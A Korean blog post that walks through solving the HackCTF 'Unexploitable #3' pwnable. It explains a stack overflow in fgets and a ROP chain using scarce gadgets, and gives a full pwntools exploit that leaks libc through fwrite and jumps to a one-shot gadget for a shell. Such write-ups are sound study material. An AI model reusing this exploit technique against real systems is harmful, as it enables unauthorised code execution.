Pwnstar

HackCTF Unexploitable #3 본문

Wargame/HackCTF

HackCTF Unexploitable #3

포너블처돌이 2020. 6. 29. 11:24

 

언익스 3번 문제이다.

 

이전에 babyfsb 문제가 있는데 이 문제는 도저히 감이 안잡혀서 라업을 보고 공부했다. 이후 혼자서 한번 더 풀어보고 라업을 작성할 생각이다.

 

하...언익스 3번도 풀고 나니 rtc로 푸는 문제라는 것을 알게 되었다. 참 삽질 많이 했는데...뭐 어찌됐든 언인텐으로 풀었지만 이런 방법도 있다라는 것을 기록하기 위해 써 보려고 한다.

 

언익스 문제는 갈수록 가젯이 부족해지는 것 같다.

 

IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+0h] [rbp-10h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  fwrite("Impossible RTL ha? Nothing for you!\n", 1uLL, 0x24uLL, stdout);
  fgets(&s, 256, stdin);
  return 0;
}

 

buf의 사이즈는 16바이트이고 입력은 256바이트만큼 받을 수 있으니 rop로 풀면 된다.

 

fwrite함수로 libc를 leak해부고, 원샷 가젯을 실행시켜주면 되는 어떻게 보면 아주 간단해보이는데

 

앞서 말했듯 가젯이 많이 부족하다.

 

fwrite함수를 쓰기 위해서는 네 개의 인자가 필요한데 rdi, rsi, rdx, rcx 레지스터에 값을 넣어줘야 한다.

 

하지만 rtc 문제에서도 말했듯 사이즈가 들어가는 rdx 레지스터에는 8보다 큰 값만 들어가 있으면 되고, 마지막에 실행핸 fgets 함수에는 stdin을 rdx에 넣었으니 사이즈는 충분하다.

 

문제는 rcx 레지스터인데, pop rcx 가젯이 없어서

 

 

이 가젯을 이용했다.

 

이외에 필요한 가젯은 

pop rdi; ret과

 

pop rsi; pop r15; ret 가젯이다 r15 레지스터는 큰 영향을 미치지 않으므로 아무 값이나 넣어줘도 된다.

 

그럼 시나리오를 짜 보자.

 

1. pop rdi; ret 으로 stdout을 rdi에 넣고, mov rcx, qword ptr [rdi]; ret 가젯으로 rcx에 stdout을 넣어준다.

2. pop rdi 와 pop rsi 가젯으로 fwrite got를 rdi에, 1을 rsi에 넣어놓고 fwrite으로 got를 출력한 후 main으로 돌아간다

3. libc leak으로 one shot 가젯을 구해서 실행해준다.

 

ex.py

from pwn import*

#context.terminal=['tmux', 'splitw', '-h']

#p = process("./Unexploitable_3")
p = remote("ctf.j0n9hyun.xyz", 3034)
#gdb.attach(p)

fwrite = 0x0000000000400520
fgets_got = 0x601020
stdout = 0x601050
prdi = 0x400743
mov_rcx_rdi = 0x400658
prsi = 0x0000000000400741
fgets_off = 0x6dad0
one = 0x4526a
main = 0x40065F

p.recvuntil("Impossible RTL ha? Nothing for you!\n")

payload = "A"*24
payload += p64(prdi)
payload += p64(stdout)
payload += p64(mov_rcx_rdi)
payload += p64(prsi)
payload += p64(1)
payload += p64(4)
payload += p64(prdi)
payload += p64(fgets_got)
payload += p64(fwrite)
payload += p64(main)

p.sendline(payload)

fgets_ = u64(p.recv(8))
log.info("fgets got = " + hex(fgets_))
libc_base = fgets_ - fgets_off
log.info("libc base = " + hex(libc_base))
one_ = libc_base + one
log.info("oneshot = " + hex(one_))

payload = "A"*24
payload += p64(one_)

p.sendline(payload)

p.interactive()

 

이렇게 작성해서 실행하면 된다.

 

 

끗!!

'Wargame > HackCTF' 카테고리의 다른 글

HackCTF 풍수지리설  (0) 2020.07.22
HackCTF pwning  (0) 2020.07.20
HackCTF j0n9hyun's secret  (0) 2020.06.29
HackCTF World Best Encryption Tool  (0) 2020.06.28
HackCTF register  (0) 2020.06.28
Comments